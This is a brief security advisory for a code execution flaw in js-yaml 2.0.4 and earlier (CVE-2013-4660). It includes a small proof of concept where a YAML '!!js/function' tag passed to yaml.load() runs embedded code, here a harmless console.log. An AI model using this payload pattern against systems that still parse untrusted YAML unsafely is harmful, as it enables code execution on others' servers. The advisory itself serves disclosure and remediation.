Versions 2.0.4 and earlier of js-yaml are affected by a code execution vulnerability in the YAML deserializer.

Proof of Concept

const yaml = require('js-yaml');

const x = `test: !!js/function >
function f() { 
console.log(1); 
}();`

yaml.load(x);

Recommendation

Update js-yaml to version 2.0.5 or later, and ensure that all instances where the .load() method is called are updated to use .safeLoad() instead.

References

• https://nvd.nist.gov/vuln/detail/CVE-2013-4660
• GHSA-xxvw-45rp-3mj2
• https://nealpoole.com/blog/2013/06/code-execution-via-yaml-in-js-yaml-nodejs-module/
• https://www.npmjs.com/advisories/16